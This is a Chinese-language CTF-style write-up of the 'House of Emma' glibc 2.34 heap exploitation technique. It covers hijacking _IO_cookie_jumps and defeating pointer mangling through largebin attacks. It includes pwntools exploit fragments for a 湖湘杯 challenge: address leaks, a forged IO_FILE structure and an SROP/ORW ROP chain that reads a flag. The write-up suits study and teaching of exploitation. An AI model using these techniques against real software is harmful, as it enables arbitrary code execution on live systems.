libc2.34下的堆利用--House_of_emma分析
字数 1540 2025-08-06 21:48:51
House of Emma 利用技术分析 - libc2.34下的堆利用
0x01 技术背景
在libc2.34版本中,移除了传统的__malloc_hook和__free_hook机制,这使得传统的hook劫持技术失效。我们需要寻找新的利用方法来实现任意代码执行。
关键变化:
- 移除了所有hook机制
- 需要寻找类似hook功能的替代方案
- IO_FILE虚表(vtable)成为新的攻击目标
0x02 技术原理
核心利用点:IO_cookie_jumps
在libc的IO虚表中存在一个特殊的跳转表_IO_cookie_jumps,其中包含几个关键函数:
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_cookie_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_file_setbuf),
JUMP_INIT(sync, _IO_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_cookie_read),
JUMP_INIT(write, _IO_cookie_write),
JUMP_INIT(seek, _IO_cookie_seek),
JUMP_INIT(close, _IO_cookie_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
关键函数分析
以_IO_cookie_write为例:
static ssize_t _IO_cookie_write (FILE *fp, const void *buf, ssize_t size) {
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (write_cb);
#endif
if (write_cb == NULL) {
fp->_flags |= _IO_ERR_SEEN;
return 0;
}
ssize_t n = write_cb (cfile->__cookie, buf, size);
if (n < size)
fp->_flags |= _IO_ERR_SEEN;
return n;
}
结构体布局
struct _IO_cookie_file {
struct _IO_FILE_plus __fp;
void *__cookie;
cookie_io_functions_t __io_functions;
};
typedef struct _IO_cookie_io_functions_t {
cookie_read_function_t *read;
cookie_write_function_t *write;
cookie_seek_function_t *seek;
cookie_close_function_t *close;
} cookie_io_functions_t;
利用链构建
- 触发IO流(通过FSOP或House of Kiwi)
- 控制
vtable指向_IO_cookie_jumps+偏移 - 伪造
_IO_cookie_file结构体:__cookie:控制第一个参数__io_functions:控制函数指针
指针保护绕过(PTR_DEMANGLE)
glibc中的指针保护机制:
extern uintptr_t __pointer_chk_guard attribute_relro;
#define PTR_MANGLE(var) (var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard)
#define PTR_DEMANGLE(var) PTR_MANGLE (var)
实际保护机制:
- 保护指针存储在TLS段(
fs:0x30) - 加密方式:ROR移位0x11后再与指针异或
绕过方法:
- 使用Largebin Attack等技术修改
__pointer_chk_guard值 - 使其变为已知值,从而可以正确计算加密后的指针
0x03 利用步骤
前置条件
- 能够实现任意地址写(如Largebin Attack等)
- 能够触发IO流(FSOP或House of Kiwi)
具体步骤
-
泄露地址:
- 泄露libc基址
- 泄露堆基址
-
Largebin Attack:
- 劫持
stderr指针指向可控堆地址 - 修改
__pointer_chk_guard为已知值
- 劫持
-
伪造IO_FILE结构:
- 构造
_IO_cookie_file结构 - 设置
vtable为_IO_cookie_jumps+适当偏移 - 设置
__cookie和__io_functions指针
- 构造
-
触发利用:
- 通过修改top chunk size等方式触发IO流
- 执行伪造的函数指针
实际利用中的注意事项
-
可能需要构造两个IO_FILE结构:
- 第一个用于修改
__pointer_chk_guard - 第二个用于实际利用
- 第一个用于修改
-
在沙箱环境下:
- 需要构造ROP链实现ORW
- 使用
setcontext等函数实现栈迁移
0x04 实例分析 - 湖湘杯题目
题目保护
- 全保护开启
- 沙箱禁用了execve
漏洞利用
-
泄露地址:
add(0, 0x410) add(1, 0x410) add(2, 0x420) add(3, 0x410) delete(2) add(4, 0x430) show(2) libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1f30b0 -
Largebin Attack劫持stderr:
delete(0) edit(2, p64(libc_base + 0x1f30b0)*2 + p64(heap_base + 0x2ae0) + p64(libc.sym['stderr'] - 0x20)) add(5, 0x430) -
Largebin Attack修改guard:
delete(2) add(6, 0x430) delete(0) edit(2, p64(libc_base + 0x1f30b0)*2 + p64(heap_base + 0x2ae0) + p64(guard - 0x20)) -
触发IO流:
delete(7) add(8, 0x430) edit(7, 'a'*0x438 + p64(0x300)) # 修改top chunk size -
构造伪造的IO_FILE:
fake_IO_FILE = 2*p64(0) fake_IO_FILE += p64(0) # _IO_write_base = 0 fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) # _IO_buf_base fake_IO_FILE += p64(0) # _IO_buf_end fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00') fake_IO_FILE += p64(next_chain) # _chain fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00') fake_IO_FILE += p64(heap_base) # _lock fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00') fake_IO_FILE += p64(0) # _mode = 0 fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00') fake_IO_FILE += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # vtable fake_IO_FILE += p64(srop_addr) # rdi fake_IO_FILE += p64(0) fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_base + 0x22a0), 0x11)) -
构造ROP链实现ORW:
frame = SigreturnFrame() frame.rdi = fake_frame_addr + 0xF8 frame.rsi = 0 frame.rdx = 0x100 frame.rsp = fake_frame_addr + 0xF8 + 0x10 frame.rip = pop_rdi_addr + 1 # ret rop_data = [ pop_rax_addr, 2, syscall_addr, # open('flag', 0) pop_rax_addr, 0, pop_rdi_addr, 3, pop_rsi_addr, fake_frame_addr + 0x200, syscall_addr, # read(flag_fd, heap, 0x100) pop_rax_addr, 1, pop_rdi_addr, 1, pop_rsi_addr, fake_frame_addr + 0x200, syscall_addr # write(1, heap, 0x100) ]
0x05 关键点总结
-
利用目标:
- 劫持IO虚表中的
_IO_cookie_jumps函数指针 - 通过伪造的
_IO_cookie_file结构控制程序流
- 劫持IO虚表中的
-
必要条件:
- 任意地址写能力
- 触发IO流的能力
- 绕过指针保护机制
-
技术组合:
- Largebin Attack用于地址劫持
- FSOP/House of Kiwi用于触发
- ROP链用于沙箱绕过
-
适用性:
- 适用于libc2.34及更高版本
- 在传统hook失效的情况下仍能实现利用
0x06 防御建议
- 及时更新libc版本
- 加强堆管理安全机制
- 监控关键数据结构的完整性
- 使用更严格的指针保护机制
通过House of Emma技术,我们可以在没有传统hook的情况下,通过IO虚表实现任意代码执行,这是libc2.34环境下一种强有力的利用技术。